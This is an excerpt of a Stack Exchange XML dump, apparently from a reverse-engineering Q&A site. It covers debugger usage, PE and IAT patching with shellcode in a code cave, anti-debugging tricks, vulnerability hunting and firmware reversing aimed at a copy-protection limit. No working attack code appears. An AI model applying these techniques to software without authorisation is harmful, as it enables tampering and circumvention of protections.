  <row Id="22566" PostTypeId="2" ParentId="22565" CreationDate="2019-11-18T03:02:17.973" Score="1" Body="&lt;p&gt;OllyDbg is interpreting numbers as hex by default. But &lt;code&gt;0x55000&lt;/code&gt; is larger than &lt;code&gt;0xFFFF&lt;/code&gt; so it cannot be stored in a 16bit register, which &lt;code&gt;ax&lt;/code&gt; is, hence it complains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you meant the decimal number 55000, I think you can enter it as &quot;55000.&quot; with the trailing dot. If that doesn't work enter the number as hex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov ax, 0D6D8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The leading 0 is necessary otherwise the first character would be a letter and OllyDbg would not recognize it as a number.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-11-18T03:02:17.973" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22567" PostTypeId="2" ParentId="22557" CreationDate="2019-11-18T03:29:03.213" Score="1" Body="&lt;p&gt;Start by looking for unsafe functions (e.g. &lt;code&gt;strcat&lt;/code&gt;, &lt;code&gt;strcpy&lt;/code&gt;, &lt;code&gt;sprintf&lt;/code&gt;, &lt;a href=&quot;https://github.com/intel/safestringlib/wiki/SDL-List-of-Banned-Functions&quot; rel=&quot;nofollow noreferrer&quot;&gt;etc.&lt;/a&gt;) that may result in memory corruption vulnerabilities. This can be done by hand by browsing xrefs to function usages in the disassembly/decompilation. There also may be plugins/scripts out there to automate this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, look for other interesting functions. For example, look for calls to the &lt;code&gt;exec&lt;/code&gt; family of functions. It's very possible that user input was concatenated at some point, resulting in a command injection vulnerability.&lt;/p&gt;&#xA;" OwnerUserId="24222" LastActivityDate="2019-11-18T03:29:03.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22568" PostTypeId="1" CreationDate="2019-11-18T04:17:48.190" Score="0" ViewCount="278" Body="&lt;p&gt;I'm playing around with the PE header and the Import Address Table. I wrote a dummy program that calls &lt;code&gt;MessageBoxA&lt;/code&gt; with some retard parameters. After successfully replacing the &lt;code&gt;MessageBoxA&lt;/code&gt; function address with an address inside a cave with &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt; access, I tried running the program. The shellcode is just messing with the pushed arguments and afterwards it's jumping to the original &lt;code&gt;MessageBoxA&lt;/code&gt; function address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the address is &lt;code&gt;75FD0CD0&lt;/code&gt; then the Little Endian representation would be &lt;code&gt;D00CFD75&lt;/code&gt;, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After running it and the program successfully calling the code inside the cave, it would crash. I opened Cheat Engine to compare the values. The instruction that was supposed to jump to the &lt;code&gt;MessageBoxA&lt;/code&gt; function was showing a jump to a different function. After opening the edit option, the instruction was: &lt;code&gt;jmp 76552F20&lt;/code&gt; instead of &lt;code&gt;jmp 75FD0CD0&lt;/code&gt;. I edited that and put the correct address inside and the bytes that were written were &lt;code&gt;80EAA475&lt;/code&gt; which was somehow pointing to the &lt;code&gt;MessageBoxA&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How did Cheat Engine get &lt;code&gt;80EAA475&lt;/code&gt; from &lt;code&gt;75FD0CD0&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="30209" LastActivityDate="2019-11-18T04:17:48.190" Title="jmp to 4 byte address in shellcode" Tags="|assembly|pe32|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22569" PostTypeId="2" ParentId="8442" CreationDate="2019-11-18T10:23:57.357" Score="2" Body="&lt;p&gt;Some possibilities (out of many):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.&#xA;The program may call &lt;code&gt;SetThreadContext&lt;/code&gt;, or &lt;code&gt;ZwContinue&lt;/code&gt; which sets all registers using a new CONTEXT.&#xA;If the DRx registers are reset then your hardware breakpoints are removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.&#xA;The program calls &lt;code&gt;ZwSetInformationThread&lt;/code&gt; with the &lt;code&gt;0x11&lt;/code&gt; (&lt;code&gt;ThreadHideFromDebugger&lt;/code&gt;) parameter. If the thread is hidden from the debugger then breakpoint exceptions will not be caught by a debugger but will be passed to the program, if unhandled - it will crash.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2019-11-18T10:23:57.357" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22570" PostTypeId="2" ParentId="22540" CreationDate="2019-11-18T15:25:24.657" Score="1" Body="&lt;p&gt;&lt;code&gt;call&lt;/code&gt; instruction with local variable suggests it may be &lt;a href=&quot;https://en.wikipedia.org/wiki/Function_pointer&quot; rel=&quot;nofollow noreferrer&quot;&gt;function pointer&lt;/a&gt;.&#xA;But function pointer can be used in many cases. The simplest example is a raw&#xA;C style function pointer.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;MSVC command used: &lt;code&gt;cl.exe /MDd file.c&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Environment: Intel X86&lt;/li&gt;&#xA;&lt;li&gt;Sample C code:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;void func(int a) {&#xA;    printf(&amp;quot;%d\n&amp;quot;, a);&#xA;}&#xA;&#xA;int main(void) {&#xA;    void (*func_ptr)(int) = &amp;amp;func;&#xA;    (*func_ptr)(10);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;IDA assembly view with only with function pointer call:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     dword ptr [ebp-4], offset func  ; move function pointer to stack&#xA;push    10                              ; push 10 for first parameter&#xA;call    dword ptr [ebp-4]               ; call the function pointer&#xA;add     esp, 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Other cases:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The function pointer can be returned by calling &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;GetProcAddress()&lt;/code&gt;&lt;/a&gt;&#xA;function which gets the address of an exported function.&lt;/li&gt;&#xA;&lt;li&gt;The function pointer may be a method of an instantiated object.&lt;/li&gt;&#xA;&lt;li&gt;It may be a &lt;a href=&quot;https://en.wikipedia.org/wiki/Virtual_function&quot; rel=&quot;nofollow noreferrer&quot;&gt;virtual method&lt;/a&gt; which may be resolved at runtime.&lt;/li&gt;&#xA;&lt;li&gt;It may be a real function call but the binary is dumped from memory before&#xA;the function import is resolved (&lt;a href=&quot;https://www.youtube.com/watch?v=RfnuMhosxuQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;video&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;How to know what happen there? Load it in a debugger. Set a breakpoint in that&#xA;indirect call and follow its execution procedure. Judge other subroutines also.&lt;/p&gt;&#xA;&#xA;" OwnerUserId="23069" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-11-18T15:25:24.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22571" PostTypeId="1" CreationDate="2019-11-18T17:28:13.017" Score="1" ViewCount="118" Body="&lt;p&gt;I got a coredump from an unknow binary. I want to retrieve as many information as possible (memory, register, contexte..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the answers available on the web speak about coredump analysis using the binary that produce it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a tool able to retrieve some information or a specification/standard about how is a coredump mapped (to do my own tool).&lt;/p&gt;&#xA;" OwnerUserId="30193" LastActivityDate="2019-11-18T17:28:13.017" Title="static core dump analysis" Tags="|static-analysis|dump|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22572" PostTypeId="1" CreationDate="2019-11-18T17:37:59.317" Score="3" ViewCount="141" Body="&lt;p&gt;Good afternoon, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking to try me skills at extracting some data from a proprietary format. I have made some progress but I wanted to contact the experts to see if I could gain some insights. The format in question is the '.clip' format created by the software 'clip studio paint'. Specifically this is a raster graphics editor (Photoshop-like) which I would like to get the image data from. There should, in the most basic usage, be a bunch of layers, each being an image. (For raster graphics, not vector) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The format seems to be not encrypted or compressed, but rather split up in some kind of archive format. All regular archive tools I have tried can't make any sense of it (zip, tar, etc). It might be an archive format more common to windows which I am not as familiar with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manually parsing the file with python I was able to find a raw sequence near the end which is in sqlite3 format. I was able to extract this and read the tables which contain the majority of the metadata. Unfortunately this does not shed much light on a way to extract the image data. I was able to split on a few delimiters I found in the file but still I would not find any image algorithm which was able to make sense of the delimited parts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outer delimiters in the file seem to look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;b'CHNKHead'&#xA; b'CHNKFoot'&#xA; b'CHNKExta'&#xA; b'CHNKSQL'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there are also many inner delimiters in some of these chunks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;b'B\x00l\x00o\x00c\x00k\x00D\x00a\x00t\x00a\x00B\x00e\x00g\x00i\x00n\x00C\x00h\x00u\x00n\x00k'&#xA;b'B\x00l\x00o\x00c\x00k\x00D\x00a\x00t\x00a\x00E\x00n\x00d\x00C\x00h\x00u\x00n\x00k'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I am guessing the special null byte separation to reduce the chance that this sequence matches other binary data?) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway I am attaching my little python split and save script and the sample CSP file I am trying to read, incase anyone was interested in taking a look. &lt;a href=&quot;http://s000.tinyupload.com/index.php?file_id=04264848249049623399&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://s000.tinyupload.com/index.php?file_id=04264848249049623399&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30216" LastActivityDate="2019-11-18T17:37:59.317" Title="Extracting Archive-Like file format analysis that does not seem to match known formats" Tags="|file-format|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22574" PostTypeId="1" CreationDate="2019-11-19T01:50:25.850" Score="3" ViewCount="1214" Body="&lt;p&gt;I am looking to decompile the sprite data from an old DOS Game (Treasure Cove). If it helps any, I found that the game was written with the Borland C++ Programming Language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that the sprites are located in TLD files, though I am incapable of confirming or denying that. If my theory is correct, are there any programs capable of opening TLD files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oSMET.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oSMET.png&quot; alt=&quot;Screenshot of an analysis I just conducted.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you suggest I do with this information? It's in Borland C++, and I want to find a method of extracting it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;https://www.mediafire.com/file/kelft4v9iymg4l0/TCV256H.TLD/file&quot; rel=&quot;nofollow noreferrer&quot;&gt;file&lt;/a&gt; seems to contain Bitmap signatures. I looked for GIF signatures, and found nothing.&lt;/p&gt;&#xA;" OwnerUserId="30221" LastEditorUserId="30221" LastEditDate="2019-12-19T18:21:41.693" LastActivityDate="2020-11-12T14:40:15.187" Title="Trying to view sprites from an old game" Tags="|dos|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22575" PostTypeId="1" CreationDate="2019-11-19T02:23:00.543" Score="1" ViewCount="149" Body="&lt;p&gt;I'm trying to capture the TLSv1.2 traffic of an application. In the applications directory is the file &lt;code&gt;cacert.pem&lt;/code&gt; that I assume holds the cert for decrypting the TLS traffic. I tried to load it into Wireshark as an RSA cert but it requested a passphrase to decrypt the key. Of course I don't have the passphrase but surely the application must know it somehow and I couldn't find the passphrase in any configuration files so I figure it must be in the main executable or possibly in a dll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program uses &lt;code&gt;libcurl.dll&lt;/code&gt; and &lt;code&gt;libssl-1_1.dll&lt;/code&gt;, my plan is to disassemble the main executable and try to find a function call to the OpenSSL API (&lt;code&gt;libssl-1_1.dll&lt;/code&gt;) and see if the passphrase is possibly referenced somewhere in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were looking for a particular function that takes a passphrase to decrypt a PEM file what function would it be? And if anyone has any better ideas please let me know. I've never been this directly involved with SSL/TLS in applications, any time I've written a server/client application that used TLS it's been in Python using very high level methods. Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="23343" LastActivityDate="2019-11-19T02:23:00.543" Title="Finding PEM passphrase that may be in an executable?" Tags="|windows|decompilation|executable|openssl|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22578" PostTypeId="1" CreationDate="2019-11-19T12:30:30.913" Score="2" ViewCount="292" Body="&lt;p&gt;I'm trying to reverse a firmware update for an &lt;a href=&quot;http://gscs-b2c.lge.com/downloadFile?fileId=KRSWD000013587-b1-a1.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;LG Home Theater BH7220&lt;/a&gt;, and I've hit a brick wall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This HTS has a main chip from LG referred to as &quot;BH7000:1165&quot; &lt;a href=&quot;https://www.scribd.com/document/270368477/LG-BH7220B&quot; rel=&quot;nofollow noreferrer&quot;&gt;in the schematics&lt;/a&gt;. The chip has the markings &quot;D78F1165 1205EM406 MALAYSIA&quot; which led me to to believe its the &lt;a href=&quot;https://www.renesas.com/in/en/products/microcontrollers-microprocessors/78k/78k0rkx/78k0rkx3/device/UPD78F1165AGC(A)-UEU-AX.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;μPD78F1165 from NEC / Renesas&lt;/a&gt;, at least the pin configuration matches in the datasheet and schematics. &#xA;Interestingly, the hardware manual shows that this chip has internal ROM but in this home theater it’s connected to an external EEPROM chip (&lt;a href=&quot;https://www.st.com/resource/en/datasheet/m24c16-w.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;ST M24C16, 16-Kbit&lt;/a&gt;).The update file is exactly 2KB in size so it matches the EEPROMs size. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file has a wired structure. It has some headers and the data is duplicated for some reason.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/oAfu5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oAfu5.png&quot; alt=&quot;entropy analysis&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has some strings&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;0000c000  4c 6f 61 64 65 72 46 57  24 20 20 20 20 20 20 20  |LoaderFW$       |&#xA;0000c010  4d 41 49 4e 00 16 80 00  00 00 00 00 00 09 30 00  |MAIN..........0.|&#xA;0000c020  50 4f 57 43 00 01 00 00  02 00 00 00 00 00 04 00  |POWC............|&#xA;0000c030  46 41 54 42 00 01 10 00  01 0f e0 00 00 00 20 00  |FATB.......... .|&#xA;0000c040  50 41 52 4d 00 01 50 00  02 00 00 00 00 00 20 00  |PARM..P....... .|&#xA;0000c050  42 4f 4f 54 00 00 00 00  00 00 00 00 00 00 10 00  |BOOT............|&#xA;0000c060  53 48 49 46 00 1f b0 00  04 00 00 00 00 00 10 00  |SHIF............|&#xA;0000c070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;...&#xA;00010000  05 80 00 31 1f 00 00 00  4d 54 4b 20 38 35 35 30  |...1....MTK 8550|&#xA;00010010  4a 56 30 33 39 30 20 20  20 20 20 20 38 35 35 30  |JV0390      8550|&#xA;00010020  30 33 39 30 04 30 9f e5  03 30 8f e0 13 ff 2f e1  |0390.0...0..../.|&#xA;...&#xA;0008b410  06 06 41 62 6e 6f 72 6d  61 6c 20 74 65 72 6d 69  |..Abnormal termi|&#xA;0008b420  6e 61 74 69 6f 6e 00 00  00 41 72 69 74 68 6d 65  |nation...Arithme|&#xA;0008b430  74 69 63 20 65 78 63 65  70 74 69 6f 6e 3a 20 00  |tic exception: .|&#xA;0008b440  49 6c 6c 65 67 61 6c 20  69 6e 73 74 72 75 63 74  |Illegal instruct|&#xA;0008b450  69 6f 6e 00 00 00 00 49  6e 74 65 72 72 75 70 74  |ion....Interrupt|&#xA;0008b460  20 72 65 63 65 69 76 65  64 00 00 00 00 00 49 6c  | received.....Il|&#xA;0008b470  6c 65 67 61 6c 20 61 64  64 72 65 73 73 00 00 00  |legal address...|&#xA;0008b480  00 00 00 00 00 54 65 72  6d 69 6e 61 74 69 6f 6e  |.....Termination|&#xA;0008b490  20 72 65 71 75 65 73 74  00 00 00 00 53 74 61 63  | request....Stac|&#xA;0008b4a0  6b 20 6f 76 65 72 66 6c  6f 77 00 00 00 00 00 00  |k overflow......|&#xA;0008b4b0  00 00 00 52 65 64 69 72  65 63 74 3a 20 63 61 6e  |...Redirect: can|&#xA;0008b4c0  27 74 20 6f 70 65 6e 3a  20 00 4f 75 74 20 6f 66  |'t open: .Out of|&#xA;0008b4d0  20 68 65 61 70 20 6d 65  6d 6f 72 79 00 00 00 00  | heap memory....|&#xA;0008b4e0  00 55 73 65 72 2d 64 65  66 69 6e 65 64 20 73 69  |.User-defined si|&#xA;0008b4f0  67 6e 61 6c 20 31 00 00  55 73 65 72 2d 64 65 66  |gnal 1..User-def|&#xA;0008b500  69 6e 65 64 20 73 69 67  6e 61 6c 20 32 00 00 50  |ined signal 2..P|&#xA;0008b510  75 72 65 20 76 69 72 74  75 61 6c 20 66 6e 20 63  |ure virtual fn c|&#xA;0008b520  61 6c 6c 65 64 00 43 2b  2b 20 6c 69 62 72 61 72  |alled.C++ librar|&#xA;0008b530  79 20 65 78 63 65 70 74  69 6f 6e 00 00 4f 75 74  |y exception..Out|&#xA;0008b540  20 6f 66 20 68 65 61 70  00 00 00 00 00 00 00 00  | of heap........|&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and an &quot;end of file/segment&quot;? marks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;000ffff0  00 ff ff ff ff ff ff ff  00 00 00 00 45 4e 44 46  |............ENDF|&#xA;...&#xA;001ffff0  00 ff ff ff ff ff ff ff  00 00 00 00 45 4e 44 46  |............ENDF|&#xA;00200000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2354/are-there-any-free-disassemblers-for-the-nec-78k0r-family-of-processors/2377?r=SearchResults&amp;amp;s=3%7C10.6348#2377&quot;&gt;Per this answer&lt;/a&gt;, I tried loading it to Cubesuite+ (v2.2.0) with various offsets and it never worked. It will error either “bad instructions” or “illegal file type”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried running Binwalk to check the architecture and this is what it shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -B Downloads/H12IM2S.ROM &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;&#xA;$ binwalk -Y Downloads/H12IM2S.ROM &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;64662         0xFC96          ARM executable code, 16-bit (Thumb), little endian, at least 851 valid instructions&#xA;&#xA;binwalk -Y --verbose Downloads/H12IM2S.ROM &#xA;&#xA;Scan Time:     2019-11-18 23:22:29&#xA;Target File:   /home/Downloads/H12IM2S.ROM&#xA;MD5 Checksum:  73ec6a79d66112a7580f5dc7d0213594&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;64662         0xFC96          ARM executable code, 16-bit (Thumb), little endian, at least 851 valid instructions&#xA;64662         0xFC96          movs r0, r0&#xA;64664         0xFC98          movs r0, r0&#xA;64666         0xFC9A          movs r0, r0&#xA;64668         0xFC9C          movs r0, r0&#xA;64670         0xFC9E          movs r0, r0&#xA;64672         0xFCA0          movs r0, r0&#xA;64674         0xFCA2          movs r0, r0&#xA;64676         0xFCA4          movs r0, r0&#xA;64678         0xFCA6          movs r0, r0&#xA;64680         0xFCA8          movs r0, r0&#xA;64682         0xFCAA          movs r0, r0&#xA;64684         0xFCAC          movs r0, r0&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's also a MediaTek MT8580 SoC on the board which handles the USB port and Ethernet, so maybe it makes sense to have some ARM instructions in the update file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do I go from here? &#xA;Should I remove the EPROM chip and try to dumb it’s content or is there a way to get the firmware from this update file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS, I’m mostly interested in the firmware of this controller because it’s blocking Multichannel PCM audio from any HDMI input except from other LG Blu-ray players. I.e. it will only play stereo PCM from any pc or PlayStation and other devices that I tested but it will perfectly play 5.1 PCM if it comes from another LG Player. Checked with the main service provider here in Germany and this is by design as a copyright protection. Unbelievable!&lt;/p&gt;&#xA;" OwnerUserId="30220" LastActivityDate="2019-11-19T12:30:30.913" Title="Reversing a firmware update for an LG HTS" Tags="|firmware|arm|hardware|firmware-analysis|nec-78k0r|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22580" PostTypeId="2" ParentId="22553" CreationDate="2019-11-19T22:48:25.377" Score="3" Body="&lt;p&gt;Could it be multiple inheritance? That could explain why the vptr of the supposed subobject is overwritten by &lt;code&gt;ctor_2&lt;/code&gt; without having to assume the compiler to inline anything. The &lt;code&gt;derived&lt;/code&gt; class might actually have two base classes, the &quot;base&quot; and the &quot;subobject&quot;. If this is the case, it kinda makes sense why the compiler would make &lt;code&gt;ctor_3&lt;/code&gt; to change the vptr of both base classes instead of just one of them. I'm not quite sure what exactly this would mean for the destructors, though.&lt;/p&gt;&#xA;" OwnerUserId="30233" LastActivityDate="2019-11-19T22:48:25.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22583" PostTypeId="2" ParentId="22553" CreationDate="2019-11-20T12:27:00.467" Score="4" Body="&lt;p&gt;You're correctly interpreting C++'s way of implementing class inheritance, however your assumption that the &quot;subobject&quot; is a member object of the class may be incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Through compiled code alone, It is impossible to completely distinguish member objects from additional inheritance in multiple inheritance classes as both appear the same. As a matter of fact, seeing something like this is one of the ways to distinguish a member object from multiple inheritance. Another is using &lt;a href=&quot;https://en.wikipedia.org/wiki/RTTI&quot; rel=&quot;nofollow noreferrer&quot;&gt;RTTI&lt;/a&gt; information, if it exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In C++, multiple inheritance is implemented by appending one base class structure after the other, where all additional members are often be added to the first class (although if I remember correctly, that's not required by the standard). You can read about the memory layout of multiple inheritance classes in &lt;a href=&quot;https://www.drdobbs.com/cpp/multiple-inheritance-considered-useful/184402074&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; article, which also covers the diamond inheritance problem and it's common solution - &lt;a href=&quot;https://en.wikipedia.org/wiki/Virtual_inheritance&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;virtual inheritance&lt;/em&gt;&lt;/a&gt; - and the resulting memory layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following figure (taken from the article) illustrates the memory layout of a multiple-inheritance class:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://twimgs.com/ddj/cuj/images/cuj0602reeves/0602reevesf2.jpeg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://twimgs.com/ddj/cuj/images/cuj0602reeves/0602reevesf2.jpeg&quot; alt=&quot;multiple inheritance class structure&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found &lt;a href=&quot;https://gist.github.com/airekans/3215428&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; gist example code that shows how multiple inheritance works under the hood and includes the expected structure in the comments at the top of the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should definitely check it out in &lt;a href=&quot;https://godbolt.org/z/V5MZy8&quot; rel=&quot;nofollow noreferrer&quot;&gt;compiler explorer&lt;/a&gt;. Where you could easily see how this all looks in most compiler and architecture configurations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the inclusion of names and symbols together with instant update upon modifications and the control over the optimization levels makes this a great way to understand the memory layout and code of multiple inheritance.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2019-11-20T12:34:01.043" LastActivityDate="2019-11-20T12:34:01.043" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22584" PostTypeId="2" ParentId="8390" CreationDate="2019-11-20T14:13:40.523" Score="1" Body="&lt;p&gt;Adding a new PE section is the main approach I take when I significantly modify a PE file.  There are position and RVA and VA-specific dependencies in existing binaries.  Changing those things is challenging, especially if the base relocation table is missing or corrupted for whatever reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's take a look at the general approach I take in &lt;a href=&quot;https://github.com/cubiclesoft/php-winpefile&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows PE Tools for PHP&lt;/a&gt; (it's PHP but a similar implementation/approach for Python should be possible):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/cubiclesoft/php-winpefile/blob/master/support/win_pe_file.php#L2222&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/cubiclesoft/php-winpefile/blob/master/support/win_pe_file.php#L2222&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;CreateNewPESection()&lt;/code&gt; function first calls &lt;code&gt;PrepareForNewPESection()&lt;/code&gt;.  &lt;code&gt;PrepareForNewPESection()&lt;/code&gt; checks to see if there is enough space in the header as-is for a new section.  If there is enough space, then it just returns.  Note that there can be all kinds of weird stuff in the header though such as Bound Imports, Debug Directory data, Relocations, etc.  &lt;code&gt;PrepareForNewPESection()&lt;/code&gt; calculates the actual amount of available space by reducing the value if it encounters such data in the header space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there isn't enough space, &lt;code&gt;PrepareForNewPESection()&lt;/code&gt; will resize the headers and shift data around up to the PE Section Alignment by minimizing the DOS stub and wiping unneeded information from the headers to attempt to make space.  A new section only needs 40 bytes.  Resizing the headers is an optional and complex exercise just to gain a few bytes of storage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming there is enough space, &lt;code&gt;CreateNewPESection()&lt;/code&gt; then calculates the next available RVA by walking the sections and calculating the section's maximum RVA value.  Note that the RVA size in a section can actually be smaller than the raw data size.  The Windows loader in those cases appears to assume that the RVA size is equal to the section-aligned raw data size.  I consider those to be broken PE files that just happen to work.  The new section is then file aligned (usually a no-op) and the new data for the section (also file aligned) is placed at the end of the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After adding the PE section, don't forget to update various values:  The number of sections in the PE header as well as the code size, initialized data size, uninitialized data size, and, most importantly, the image size in the PE optional header (and, of course, the PE checksum when all is said and done).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of adding another section, appending to the last section may also be an option worth considering.  First, look at the flags of the section.  If the flags match what you are looking for and the last section is also the last RVA and located at the end of the physical file, then that section may be a candidate for reuse by just resizing the existing section instead of adding a new section.  Doing this helps reduce the possibility of running out of space in the header for new sections.&lt;/p&gt;&#xA;" OwnerUserId="30240" LastActivityDate="2019-11-20T14:13:40.523" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
